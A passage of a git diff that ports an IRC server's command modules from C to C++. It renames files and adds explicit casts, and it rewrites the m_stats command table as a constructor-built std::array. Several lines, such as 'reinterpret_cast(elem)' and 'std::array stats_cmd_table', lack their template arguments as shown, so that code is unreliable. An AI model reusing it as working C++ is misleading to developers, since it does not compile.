--- a/modules/m_help.c +++ b/modules/m_help.cc @@ -96,7 +96,7 @@ dohelp(struct Client *source_p, int flags, const char *topic) if(EmptyString(topic)) topic = ntopic; - hptr = rb_dictionary_retrieve(flags & HELP_OPER ? help_dict_oper : help_dict_user, topic); + hptr = (cachefile *)rb_dictionary_retrieve(flags & HELP_OPER ? help_dict_oper : help_dict_user, topic); if(hptr == NULL || !(hptr->flags & flags)) { @@ -106,7 +106,7 @@ dohelp(struct Client *source_p, int flags, const char *topic) } fptr = hptr->contents.head; - lineptr = fptr->data; + lineptr = (cacheline *)fptr->data; /* first line cant be empty */ sendto_one(source_p, form_str(RPL_HELPSTART), @@ -114,7 +114,7 @@ dohelp(struct Client *source_p, int flags, const char *topic) RB_DLINK_FOREACH(ptr, fptr->next) { - lineptr = ptr->data; + lineptr = (cacheline *)ptr->data; sendto_one(source_p, form_str(RPL_HELPTXT), me.name, source_p->name, topic, lineptr->data); diff --git a/modules/m_info.c b/modules/m_info.cc similarity index 100% rename from modules/m_info.c rename to modules/m_info.cc diff --git a/modules/m_invite.c b/modules/m_invite.cc similarity index 99% rename from modules/m_invite.c rename to modules/m_invite.cc index 5addcfd77..e6f2f646d 100644 --- a/modules/m_invite.c +++ b/modules/m_invite.cc @@ -261,7 +261,7 @@ add_invite(struct Channel *chptr, struct Client *who) ConfigChannel.max_chans_per_user) { ptr = who->user->invited.tail; - del_invite(ptr->data, who); + del_invite((Channel *)ptr->data, who); } /* add user to channel invite list */ diff --git a/modules/m_ison.c b/modules/m_ison.cc similarity index 100% rename from modules/m_ison.c rename to modules/m_ison.cc diff --git a/modules/m_kline.c b/modules/m_kline.cc similarity index 99% rename from modules/m_kline.c rename to modules/m_kline.cc index 0301236ac..d8b877990 100644 --- a/modules/m_kline.c +++ b/modules/m_kline.cc @@ -631,7 +631,7 @@ find_user_host(struct Client *source_p, const char *userhost, char *luser, char { char *hostp; - hostp = strchr(userhost, '@'); + hostp = (char *)strchr(userhost, '@'); if(hostp != NULL) /* I'm a little user@host */ { diff --git a/modules/m_knock.c b/modules/m_knock.cc similarity index 100% rename from modules/m_knock.c rename to modules/m_knock.cc diff --git a/modules/m_links.c b/modules/m_links.cc similarity index 99% rename from modules/m_links.c rename to modules/m_links.cc index 28722536a..fe94ba008 100644 --- a/modules/m_links.c +++ b/modules/m_links.cc @@ -110,7 +110,7 @@ mo_links(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source RB_DLINK_FOREACH(ptr, global_serv_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; if(*mask && !match(mask, target_p->name)) continue; diff --git a/modules/m_list.c b/modules/m_list.cc similarity index 98% rename from modules/m_list.c rename to modules/m_list.cc index 7726af212..2a453644f 100644 --- a/modules/m_list.c +++ b/modules/m_list.cc @@ -196,7 +196,7 @@ mo_list(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source_ } /* Multiple channels, possibly with parameters. */ - params = rb_malloc(sizeof(struct ListClient)); + params = (ListClient *)rb_malloc(sizeof(struct ListClient)); params->users_min = ConfigChannel.displayed_usercount; params->users_max = INT_MAX; @@ -396,7 +396,7 @@ static void safelist_channel_named(struct Client *source_p, const char *name, in sendto_one(source_p, form_str(RPL_LISTSTART), me.name, source_p->name); - if ((p = strchr(name, ','))) + if ((p = (char *)strchr(name, ','))) *p = '\0'; if (*name == '\0') @@ -469,11 +469,12 @@ static void safelist_one_channel(struct Client *source_p, struct Channel *chptr, */ static void safelist_iterate_client(struct Client *source_p) { - struct Channel *chptr; rb_radixtree_iteration_state iter; - RB_RADIXTREE_FOREACH_FROM(chptr, &iter, channel_tree, source_p->localClient->safelist_data->chname) + void *elem; + RB_RADIXTREE_FOREACH_FROM(elem, &iter, channel_tree, source_p->localClient->safelist_data->chname) { + const auto chptr(reinterpret_cast(elem)); if (safelist_sendq_exceeded(source_p->from)) { rb_free(source_p->localClient->safelist_data->chname); diff --git a/modules/m_lusers.c b/modules/m_lusers.cc similarity index 100% rename from modules/m_lusers.c rename to modules/m_lusers.cc diff --git a/modules/m_map.c b/modules/m_map.cc similarity index 98% rename from modules/m_map.c rename to modules/m_map.cc index afdfe12a8..b0e8ce7b7 100644 --- a/modules/m_map.c +++ b/modules/m_map.cc @@ -131,7 +131,7 @@ dump_map(struct Client *client_p, struct Client *root_p, char *pbuf) i = 1; RB_DLINK_FOREACH(ptr, root_p->serv->servers.head) { - server_p = ptr->data; + server_p = (Client *)ptr->data; *pbuf = ' '; if(i < cnt) *(pbuf + 1) = '|'; @@ -181,7 +181,7 @@ flattened_map(struct Client *client_p) /* Next, we run through every other server and list them */ RB_DLINK_FOREACH(ptr, global_serv_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; cnt++; diff --git a/modules/m_monitor.c b/modules/m_monitor.cc similarity index 99% rename from modules/m_monitor.c rename to modules/m_monitor.cc index 1a96c02c3..db417ddaa 100644 --- a/modules/m_monitor.c +++ b/modules/m_monitor.cc @@ -227,7 +227,7 @@ list_monitor(struct Client *client_p) RB_DLINK_FOREACH(ptr, client_p->localClient->monitor_list.head) { - monptr = ptr->data; + monptr = (monitor *)ptr->data; if(cur_len + strlen(monptr->name) + 1 >= BUFSIZE-3) { @@ -273,7 +273,7 @@ show_monitor_status(struct Client *client_p) RB_DLINK_FOREACH(ptr, client_p->localClient->monitor_list.head) { - monptr = ptr->data; + monptr = (monitor *)ptr->data; if((target_p = find_named_person(monptr->name)) != NULL) { diff --git a/modules/m_motd.c b/modules/m_motd.cc similarity index 100% rename from modules/m_motd.c rename to modules/m_motd.cc diff --git a/modules/m_names.c b/modules/m_names.cc similarity index 97% rename from modules/m_names.c rename to modules/m_names.cc index 81c3a7c69..8d539e929 100644 --- a/modules/m_names.c +++ b/modules/m_names.cc @@ -132,7 +132,7 @@ names_global(struct Client *source_p) /* first do all visible channels */ RB_DLINK_FOREACH(ptr, global_channel_list.head) { - chptr = ptr->data; + chptr = (Channel *)ptr->data; channel_member_names(chptr, source_p, 0); } cur_len = mlen = sprintf(buf, form_str(RPL_NAMREPLY), @@ -142,7 +142,7 @@ names_global(struct Client *source_p) /* Second, do all clients in one big sweep */ RB_DLINK_FOREACH(ptr, global_client_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; dont_show = false; if(!IsPerson(target_p) || IsInvisible(target_p)) @@ -157,7 +157,7 @@ names_global(struct Client *source_p) */ RB_DLINK_FOREACH(lp, target_p->user->channel.head) { - msptr = lp->data; + msptr = (membership *)lp->data; chptr = msptr->chptr; if(PubChannel(chptr) || IsMember(source_p, chptr) || diff --git a/modules/m_oper.c b/modules/m_oper.cc similarity index 100% rename from modules/m_oper.c rename to modules/m_oper.cc diff --git a/modules/m_operspy.c b/modules/m_operspy.cc similarity index 100% rename from modules/m_operspy.c rename to modules/m_operspy.cc diff --git a/modules/m_pass.c b/modules/m_pass.cc similarity index 100% rename from modules/m_pass.c rename to modules/m_pass.cc diff --git a/modules/m_ping.c b/modules/m_ping.cc similarity index 100% rename from modules/m_ping.c rename to modules/m_ping.cc diff --git a/modules/m_pong.c b/modules/m_pong.cc similarity index 100% rename from modules/m_pong.c rename to modules/m_pong.cc diff --git a/modules/m_post.c b/modules/m_post.cc similarity index 100% rename from modules/m_post.c rename to modules/m_post.cc diff --git a/modules/m_privs.c b/modules/m_privs.cc similarity index 100% rename from modules/m_privs.c rename to modules/m_privs.cc diff --git a/modules/m_rehash.c b/modules/m_rehash.cc similarity index 97% rename from modules/m_rehash.c rename to modules/m_rehash.cc index 375b971ec..93ed778fe 100644 --- a/modules/m_rehash.c +++ b/modules/m_rehash.cc @@ -135,7 +135,7 @@ rehash_tklines(struct Client *source_p) { RB_DLINK_FOREACH_SAFE(ptr, next_ptr, temp_klines[i].head) { - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; delete_one_address_conf(aconf->host, aconf); rb_dlinkDestroy(ptr, &temp_klines[i]); @@ -159,7 +159,7 @@ rehash_tdlines(struct Client *source_p) { RB_DLINK_FOREACH_SAFE(ptr, next_ptr, temp_dlines[i].head) { - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; delete_one_address_conf(aconf->host, aconf); rb_dlinkDestroy(ptr, &temp_dlines[i]); @@ -181,7 +181,7 @@ rehash_txlines(struct Client *source_p) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, xline_conf_list.head) { - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; if(!aconf->hold || aconf->lifetime) continue; @@ -204,8 +204,10 @@ rehash_tresvs(struct Client *source_p) if (!MyConnect(source_p)) remote_rehash_oper_p = source_p; - RB_RADIXTREE_FOREACH(aconf, &iter, resv_tree) + void *elem; + RB_RADIXTREE_FOREACH(elem, &iter, resv_tree) { + const auto aconf(reinterpret_cast(elem)); if(!aconf->hold || aconf->lifetime) continue; @@ -215,7 +217,7 @@ rehash_tresvs(struct Client *source_p) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, resv_conf_list.head) { - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; if(!aconf->hold || aconf->lifetime) continue; @@ -273,7 +275,7 @@ rehash_nickdelay(struct Client *source_p) RB_DLINK_FOREACH_SAFE(ptr, safe_ptr, nd_list.head) { - nd = ptr->data; + nd = (nd_entry *)ptr->data; free_nd_entry(nd); } diff --git a/modules/m_restart.c b/modules/m_restart.cc similarity index 98% rename from modules/m_restart.c rename to modules/m_restart.cc index 613ea9161..894e1c040 100644 --- a/modules/m_restart.c +++ b/modules/m_restart.cc @@ -119,14 +119,14 @@ do_restart(struct Client *source_p, const char *servername) RB_DLINK_FOREACH(ptr, lclient_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; sendto_one_notice(target_p, ":Server Restarting. %s", get_client_name(source_p, HIDE_IP)); } RB_DLINK_FOREACH(ptr, serv_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; sendto_one(target_p, ":%s ERROR :Restart by %s", me.name, get_client_name(source_p, HIDE_IP)); diff --git a/modules/m_resv.c b/modules/m_resv.cc similarity index 99% rename from modules/m_resv.c rename to modules/m_resv.cc index 1d89f4b3e..0d381e9f2 100644 --- a/modules/m_resv.c +++ b/modules/m_resv.cc @@ -388,7 +388,7 @@ cluster_resv(struct Client *source_p, int temp_time, const char *name, const cha RB_DLINK_FOREACH(ptr, cluster_conf_list.head) { - shared_p = ptr->data; + shared_p = (remote_conf *)ptr->data; /* old protocol cant handle temps, and we dont really want * to convert them to perm.. --fl @@ -573,7 +573,7 @@ remove_resv(struct Client *source_p, const char *name, int propagated) { RB_DLINK_FOREACH(ptr, resv_conf_list.head) { - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; if(irccmp(aconf->host, name)) aconf = NULL; diff --git a/modules/m_sasl.c b/modules/m_sasl.cc similarity index 100% rename from modules/m_sasl.c rename to modules/m_sasl.cc diff --git a/modules/m_scan.c b/modules/m_scan.cc similarity index 99% rename from modules/m_scan.c rename to modules/m_scan.cc index 5770a75c6..07fc9140f 100644 --- a/modules/m_scan.c +++ b/modules/m_scan.cc @@ -213,7 +213,7 @@ scan_umodes(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *sou unsigned int working_umodes = 0; char maskbuf[BUFSIZE]; - target_p = tn->data; + target_p = (Client *)tn->data; if (!IsClient(target_p)) continue; diff --git a/modules/m_services.c b/modules/m_services.cc similarity index 98% rename from modules/m_services.c rename to modules/m_services.cc index bb7b8ecf8..0cb8200ee 100644 --- a/modules/m_services.c +++ b/modules/m_services.cc @@ -276,7 +276,7 @@ me_nickdelay(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *so duration = atoi(parv[1]); if (duration <= 0) { - nd = rb_dictionary_retrieve(nd_dict, parv[2]); + nd = (nd_entry *)rb_dictionary_retrieve(nd_dict, parv[2]); if (nd != NULL) free_nd_entry(nd); } @@ -285,7 +285,7 @@ me_nickdelay(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *so if (duration > 86400) duration = 86400; add_nd_entry(parv[2]); - nd = rb_dictionary_retrieve(nd_dict, parv[2]); + nd = (nd_entry *)rb_dictionary_retrieve(nd_dict, parv[2]); if (nd != NULL) nd->expire = rb_current_time() + duration; } @@ -358,7 +358,7 @@ unmark_services(void) RB_DLINK_FOREACH(ptr, global_serv_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; target_p->flags &= ~FLAGS_SERVICE; } diff --git a/modules/m_set.c b/modules/m_set.cc similarity index 100% rename from modules/m_set.c rename to modules/m_set.cc diff --git a/modules/m_signon.c b/modules/m_signon.cc similarity index 100% rename from modules/m_signon.c rename to modules/m_signon.cc diff --git a/modules/m_snote.c b/modules/m_snote.cc similarity index 100% rename from modules/m_snote.c rename to modules/m_snote.cc diff --git a/modules/m_starttls.c b/modules/m_starttls.cc similarity index 100% rename from modules/m_starttls.c rename to modules/m_starttls.cc diff --git a/modules/m_stats.c b/modules/m_stats.cc similarity index 89% rename from modules/m_stats.c rename to modules/m_stats.cc index e84e8b934..7de3ddc10 100644 --- a/modules/m_stats.c +++ b/modules/m_stats.cc @@ -91,6 +91,26 @@ struct stats_cmd bool need_parv; bool need_oper; bool need_admin; + + stats_cmd(const handler_t &handler = nullptr, + const bool &need_oper = true, + const bool &need_admin = true) + :handler{handler} + ,need_parv{false} + ,need_oper{need_oper} + ,need_admin{need_admin} + { + } + + stats_cmd(const handler_parv_t &handler_parv, + const bool &need_oper, + const bool &need_admin) + :handler_parv{handler_parv} + ,need_parv{true} + ,need_oper{need_oper} + ,need_admin{need_admin} + { + } }; static void stats_dns_servers(struct Client *); @@ -130,8 +150,6 @@ static void stats_ziplinks(struct Client *); static void stats_comm(struct Client *); static void stats_capability(struct Client *); -#define HANDLER_NORM(fn, oper, admin) { { .handler = fn }, false, oper, admin } -#define HANDLER_PARV(fn, oper, admin) { { .handler_parv = fn }, true, oper, admin } /* This table contains the possible stats items, in order: * stats letter, function to call, operonly? adminonly? --fl_ @@ -140,57 +158,66 @@ static void stats_capability(struct Client *); * C initalisers so we don't have to iterate anymore * --Elizafox */ -static struct stats_cmd stats_cmd_table[256] = { -/* letter handler oper admin */ - ['a'] = HANDLER_NORM(stats_dns_servers, true, true), - ['A'] = HANDLER_NORM(stats_dns_servers, true, true), - ['b'] = HANDLER_NORM(stats_delay, true, true), - ['B'] = HANDLER_NORM(stats_hash, true, true), - ['c'] = HANDLER_NORM(stats_connect, false, false), - ['C'] = HANDLER_NORM(stats_capability, true, false), - ['d'] = HANDLER_NORM(stats_tdeny, true, false), - ['D'] = HANDLER_NORM(stats_deny, true, false), - ['e'] = HANDLER_NORM(stats_exempt, true, false), - ['E'] = HANDLER_NORM(stats_events, true, true), - ['f'] = HANDLER_NORM(stats_comm, true, true), - ['F'] = HANDLER_NORM(stats_comm, true, true), - ['g'] = HANDLER_NORM(stats_prop_klines, true, false), - ['h'] = HANDLER_NORM(stats_hubleaf, false, false), - ['H'] = HANDLER_NORM(stats_hubleaf, false, false), - ['i'] = HANDLER_NORM(stats_auth, false, false), - ['I'] = HANDLER_NORM(stats_auth, false, false), - ['k'] = HANDLER_NORM(stats_tklines, false, false), - ['K'] = HANDLER_NORM(stats_klines, false, false), - ['l'] = HANDLER_PARV(stats_ltrace, false, false), - ['L'] = HANDLER_PARV(stats_ltrace, false, false), - ['m'] = HANDLER_NORM(stats_messages, false, false), - ['M'] = HANDLER_NORM(stats_messages, false, false), - ['n'] = HANDLER_NORM(stats_dnsbl, false, false), - ['o'] = HANDLER_NORM(stats_oper, false, false), - ['O'] = HANDLER_NORM(stats_privset, true, false), - ['p'] = HANDLER_NORM(stats_operedup, false, false), - ['P'] = HANDLER_NORM(stats_ports, false, false), - ['q'] = HANDLER_NORM(stats_tresv, true, false), - ['Q'] = HANDLER_NORM(stats_resv, true, false), - ['r'] = HANDLER_NORM(stats_usage, true, false), - ['R'] = HANDLER_NORM(stats_usage, true, false), - ['s'] = HANDLER_NORM(stats_ssld, true, true), - ['S'] = HANDLER_NORM(stats_ssld, true, true), - ['t'] = HANDLER_NORM(stats_tstats, true, false), - ['T'] = HANDLER_NORM(stats_tstats, true, false), - ['u'] = HANDLER_NORM(stats_uptime, false, false), - ['U'] = HANDLER_NORM(stats_shared, true, false), - ['v'] = HANDLER_NORM(stats_servers, false, false), - ['V'] = HANDLER_NORM(stats_servers, false, false), - ['x'] = HANDLER_NORM(stats_tgecos, true, false), - ['X'] = HANDLER_NORM(stats_gecos, true, false), - ['y'] = HANDLER_NORM(stats_class, false, false), - ['Y'] = HANDLER_NORM(stats_class, false, false), - ['z'] = HANDLER_NORM(stats_memory, true, false), - ['Z'] = HANDLER_NORM(stats_ziplinks, true, false), - ['?'] = HANDLER_NORM(stats_servlinks, false, false), +std::array stats_cmd_table +{[] +{ + std::array ret; + + //letter handler oper admin + ret['a'] = stats_cmd { stats_dns_servers, true, true }; + ret['a'] = stats_cmd { stats_dns_servers, true, true }; + ret['A'] = stats_cmd { stats_dns_servers, true, true }; + ret['b'] = stats_cmd { stats_delay, true, true }; + ret['B'] = stats_cmd { stats_hash, true, true }; + ret['c'] = stats_cmd { stats_connect, false, false }; + ret['C'] = stats_cmd { stats_capability, true, false }; + ret['d'] = stats_cmd { stats_tdeny, true, false }; + ret['D'] = stats_cmd { stats_deny, true, false }; + ret['e'] = stats_cmd { stats_exempt, true, false }; + ret['E'] = stats_cmd { stats_events, true, true }; + ret['f'] = stats_cmd { stats_comm, true, true }; + ret['F'] = stats_cmd { stats_comm, true, true }; + ret['g'] = stats_cmd { stats_prop_klines, true, false }; + ret['h'] = stats_cmd { stats_hubleaf, false, false }; + ret['H'] = stats_cmd { stats_hubleaf, false, false }; + ret['i'] = stats_cmd { stats_auth, false, false }; + ret['I'] = stats_cmd { stats_auth, false, false }; + ret['k'] = stats_cmd { stats_tklines, false, false }; + ret['K'] = stats_cmd { stats_klines, false, false }; + ret['l'] = stats_cmd { stats_ltrace, false, false }; + ret['L'] = stats_cmd { stats_ltrace, false, false }; + ret['m'] = stats_cmd { stats_messages, false, false }; + ret['M'] = stats_cmd { stats_messages, false, false }; + ret['n'] = stats_cmd { stats_dnsbl, false, false }; + ret['o'] = stats_cmd { stats_oper, false, false }; + ret['O'] = stats_cmd { stats_privset, true, false }; + ret['p'] = stats_cmd { stats_operedup, false, false }; + ret['P'] = stats_cmd { stats_ports, false, false }; + ret['q'] = stats_cmd { stats_tresv, true, false }; + ret['Q'] = stats_cmd { stats_resv, true, false }; + ret['r'] = stats_cmd { stats_usage, true, false }; + ret['R'] = stats_cmd { stats_usage, true, false }; + ret['s'] = stats_cmd { stats_ssld, true, true }; + ret['S'] = stats_cmd { stats_ssld, true, true }; + ret['t'] = stats_cmd { stats_tstats, true, false }; + ret['T'] = stats_cmd { stats_tstats, true, false }; + ret['u'] = stats_cmd { stats_uptime, false, false }; + ret['U'] = stats_cmd { stats_shared, true, false }; + ret['v'] = stats_cmd { stats_servers, false, false }; + ret['V'] = stats_cmd { stats_servers, false, false }; + ret['x'] = stats_cmd { stats_tgecos, true, false }; + ret['X'] = stats_cmd { stats_gecos, true, false }; + ret['y'] = stats_cmd { stats_class, false, false }; + ret['Y'] = stats_cmd { stats_class, false, false }; + ret['z'] = stats_cmd { stats_memory, true, false }; + ret['Z'] = stats_cmd { stats_ziplinks, true, false }; + ret['?'] = stats_cmd { stats_servlinks, false, false }; + + return ret; +}() }; + /* * m_stats by fl_ * Modified heavily by Elizafox @@ -287,8 +314,10 @@ stats_delay(struct Client *source_p) struct nd_entry *nd; rb_dictionary_iter iter; - RB_DICTIONARY_FOREACH(nd, &iter, nd_dict) + void *elem; + RB_DICTIONARY_FOREACH(elem, &iter, nd_dict) { + nd = (nd_entry *)elem; sendto_one_notice(source_p, ":Delaying: %s for %ld", nd->name, (long) nd->expire); } @@ -297,7 +326,7 @@ stats_delay(struct Client *source_p) static void stats_hash_cb(const char *buf, void *client_p) { - sendto_one_numeric(client_p, RPL_STATSDEBUG, "B :%s", buf); + sendto_one_numeric((Client *)client_p, RPL_STATSDEBUG, "B :%s", buf); } static void @@ -329,7 +358,7 @@ stats_connect(struct Client *source_p) RB_DLINK_FOREACH(ptr, server_conf_list.head) { - server_p = ptr->data; + server_p = (server_conf *)ptr->data; if(ServerConfIllegal(server_p)) continue; @@ -480,7 +509,7 @@ stats_exempt(struct Client *source_p) static void stats_events_cb(char *str, void *ptr) { - sendto_one_numeric(ptr, RPL_STATSDEBUG, "E :%s", str); + sendto_one_numeric((Client *)ptr, RPL_STATSDEBUG, "E :%s", str); } static void @@ -498,7 +527,7 @@ stats_prop_klines(struct Client *source_p) RB_DLINK_FOREACH(ptr, prop_bans.head) { - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; /* Skip non-klines and deactivated klines. */ if(aconf->status != CONF_KILL) @@ -532,7 +561,7 @@ stats_hubleaf(struct Client *source_p) RB_DLINK_FOREACH(ptr, hubleaf_conf_list.head) { - hub_p = ptr->data; + hub_p = (remote_conf *)ptr->data; if(hub_p->flags & CONF_HUB) sendto_one_numeric(source_p, RPL_STATSHLINE, @@ -640,7 +669,7 @@ stats_tklines(struct Client *source_p) { RB_DLINK_FOREACH(ptr, temp_klines[i].head) { - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; get_printable_kline(source_p, aconf, &host, &pass, &user, &oper_reason); @@ -736,11 +765,12 @@ static void stats_messages(struct Client *source_p) { rb_dictionary_iter iter; - struct Message *msg; struct alias_entry *amsg; - RB_DICTIONARY_FOREACH(msg, &iter, cmd_dict) + void *elem; + RB_DICTIONARY_FOREACH(elem, &iter, cmd_dict) { + const auto msg(reinterpret_cast(elem)); s_assert(msg->cmd != NULL); sendto_one_numeric(source_p, RPL_STATSCOMMANDS, form_str(RPL_STATSCOMMANDS), @@ -758,8 +788,11 @@ stats_dnsbl(struct Client *source_p) if(bl_stats == NULL) return; - RB_DICTIONARY_FOREACH(stats, &iter, bl_stats) + void *elem; + RB_DICTIONARY_FOREACH(elem, &iter, bl_stats) { + stats = (BlacklistStats *)elem; + /* use RPL_STATSDEBUG for now -- jilles */ sendto_one_numeric(source_p, RPL_STATSDEBUG, "n :%d %s", stats->hits, (const char *)iter.cur->key); @@ -781,7 +814,7 @@ stats_oper(struct Client *source_p) RB_DLINK_FOREACH(ptr, oper_conf_list.head) { - oper_p = ptr->data; + oper_p = (oper_conf *)ptr->data; sendto_one_numeric(source_p, RPL_STATSOLINE, form_str(RPL_STATSOLINE), @@ -793,7 +826,7 @@ stats_oper(struct Client *source_p) static void stats_capability_walk(const char *line, void *data) { - struct Client *client_p = data; + struct Client *client_p = (Client *)data; sendto_one_numeric(client_p, RPL_STATSDEBUG, "C :%s", line); } @@ -825,7 +858,7 @@ stats_operedup (struct Client *source_p) RB_DLINK_FOREACH (oper_ptr, oper_list.head) { - target_p = oper_ptr->data; + target_p = (Client *)oper_ptr->data; if(IsOperInvis(target_p) && !IsOper(source_p)) continue; @@ -866,15 +899,17 @@ stats_tresv(struct Client *source_p) RB_DLINK_FOREACH(ptr, resv_conf_list.head) { - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; if(aconf->hold) sendto_one_numeric(source_p, RPL_STATSQLINE, form_str(RPL_STATSQLINE), 'q', aconf->port, aconf->host, aconf->passwd); } - RB_RADIXTREE_FOREACH(aconf, &state, resv_tree) + void *elem; + RB_RADIXTREE_FOREACH(elem, &state, resv_tree) { + aconf = (ConfItem *)elem; if(aconf->hold) sendto_one_numeric(source_p, RPL_STATSQLINE, form_str(RPL_STATSQLINE), @@ -892,15 +927,17 @@ stats_resv(struct Client *source_p) RB_DLINK_FOREACH(ptr, resv_conf_list.head) { - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; if(!aconf->hold) sendto_one_numeric(source_p, RPL_STATSQLINE, form_str(RPL_STATSQLINE), 'Q', aconf->port, aconf->host, aconf->passwd); } - RB_RADIXTREE_FOREACH(aconf, &state, resv_tree) + void *elem; + RB_RADIXTREE_FOREACH(elem, &state, resv_tree) { + aconf = (ConfItem *)elem; if(!aconf->hold) sendto_one_numeric(source_p, RPL_STATSQLINE, form_str(RPL_STATSQLINE), @@ -911,7 +948,7 @@ stats_resv(struct Client *source_p) static void stats_ssld_foreach(void *data, pid_t pid, int cli_count, enum ssld_status status, const char *version) { - struct Client *source_p = data; + struct Client *source_p = (Client *)data; sendto_one_numeric(source_p, RPL_STATSDEBUG, "S :%u %c %u :%s", @@ -996,7 +1033,7 @@ stats_tstats (struct Client *source_p) RB_DLINK_FOREACH(ptr, serv_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; sp.is_sbs += target_p->localClient->sendB; sp.is_sbr += target_p->localClient->receiveB; @@ -1006,7 +1043,7 @@ stats_tstats (struct Client *source_p) RB_DLINK_FOREACH(ptr, lclient_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; sp.is_cbs += target_p->localClient->sendB; sp.is_cbr += target_p->localClient->receiveB; @@ -1121,7 +1158,7 @@ stats_shared (struct Client *source_p) RB_DLINK_FOREACH(ptr, shared_conf_list.head) { - shared_p = ptr->data; + shared_p = (remote_conf *)ptr->data; p = buf; @@ -1143,7 +1180,7 @@ stats_shared (struct Client *source_p) RB_DLINK_FOREACH(ptr, cluster_conf_list.head) { - shared_p = ptr->data; + shared_p = (remote_conf *)ptr->data; p = buf; @@ -1188,7 +1225,7 @@ stats_servers (struct Client *source_p) RB_DLINK_FOREACH (ptr, serv_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; j++; seconds = rb_current_time() - target_p->localClient->firsttime; @@ -1223,7 +1260,7 @@ stats_tgecos(struct Client *source_p) RB_DLINK_FOREACH(ptr, xline_conf_list.head) { - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; if(aconf->hold) sendto_one_numeric(source_p, RPL_STATSXLINE, @@ -1241,7 +1278,7 @@ stats_gecos(struct Client *source_p) RB_DLINK_FOREACH(ptr, xline_conf_list.head) { - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; if(!aconf->hold) sendto_one_numeric(source_p, RPL_STATSXLINE, @@ -1316,7 +1353,7 @@ stats_memory (struct Client *source_p) RB_DLINK_FOREACH(ptr, global_client_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; if(MyConnect(target_p)) { local_client_conf_count++; @@ -1338,7 +1375,7 @@ stats_memory (struct Client *source_p) /* Count up all channels, ban lists, except lists, Invex lists */ RB_DLINK_FOREACH(ptr, global_channel_list.head) { - chptr = ptr->data; + chptr = (Channel *)ptr->data; channel_count++; channel_memory += (strlen(chptr->chname) + sizeof(struct Channel)); @@ -1489,7 +1526,7 @@ stats_ziplinks (struct Client *source_p) char buf[128], buf1[128]; RB_DLINK_FOREACH (ptr, serv_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; if(IsCapable (target_p, CAP_ZIP)) { zipstats = target_p->localClient->zipstats; @@ -1533,7 +1570,7 @@ stats_servlinks (struct Client *source_p) RB_DLINK_FOREACH (ptr, serv_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; j++; sendK += target_p->localClient->sendK; @@ -1684,7 +1721,7 @@ stats_l_list(struct Client *source_p, const char *name, bool doall, bool wilds, */ RB_DLINK_FOREACH(ptr, list->head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; if(!doall && wilds && !match(name, target_p->name)) continue; @@ -1736,7 +1773,7 @@ stats_l_client(struct Client *source_p, struct Client *target_p, static void rb_dump_fd_callback(int fd, const char *desc, void *data) { - struct Client *source_p = data; + struct Client *source_p = (Client *)data; sendto_one_numeric(source_p, RPL_STATSDEBUG, "F :fd %-3d desc '%s'", fd, desc); } diff --git a/modules/m_svinfo.c b/modules/m_svinfo.cc similarity index 100% rename from modules/m_svinfo.c rename to modules/m_svinfo.cc diff --git a/modules/m_tb.c b/modules/m_tb.cc similarity index 100% rename from modules/m_tb.c rename to modules/m_tb.cc diff --git a/modules/m_testline.c b/modules/m_testline.cc similarity index 100% rename from modules/m_testline.c rename to modules/m_testline.cc diff --git a/modules/m_testmask.c b/modules/m_testmask.cc similarity index 99% rename from modules/m_testmask.c rename to modules/m_testmask.cc index 1c61f6228..743b6f783 100644 --- a/modules/m_testmask.c +++ b/modules/m_testmask.cc @@ -109,7 +109,7 @@ mo_testmask(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *sou RB_DLINK_FOREACH(ptr, global_client_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; if(!IsPerson(target_p)) continue; diff --git a/modules/m_tginfo.c b/modules/m_tginfo.cc similarity index 100% rename from modules/m_tginfo.c rename to modules/m_tginfo.cc diff --git a/modules/m_time.c b/modules/m_time.cc similarity index 100% rename from modules/m_time.c rename to modules/m_time.cc diff --git a/modules/m_topic.c b/modules/m_topic.cc similarity index 99% rename from modules/m_topic.c rename to modules/m_topic.cc index 6ab17c291..7df2a25a9 100644 --- a/modules/m_topic.c +++ b/modules/m_topic.cc @@ -69,7 +69,7 @@ m_topic(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source_ const char *name; int operspy = 0; - if((p = strchr(parv[1], ','))) + if((p = (char *)strchr(parv[1], ','))) *p = '\0'; name = parv[1]; diff --git a/modules/m_trace.c b/modules/m_trace.cc similarity index 97% rename from modules/m_trace.c rename to modules/m_trace.cc index 570231704..c6f2077f7 100644 --- a/modules/m_trace.c +++ b/modules/m_trace.cc @@ -113,7 +113,7 @@ m_trace(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source_ { RB_DLINK_FOREACH(ptr, global_serv_list.head) { - ac2ptr = ptr->data; + ac2ptr = (Client *)ptr->data; if(match(tname, ac2ptr->name)) break; @@ -199,7 +199,7 @@ m_trace(struct MsgBuf *msgbuf_p, struct Client *client_p, struct 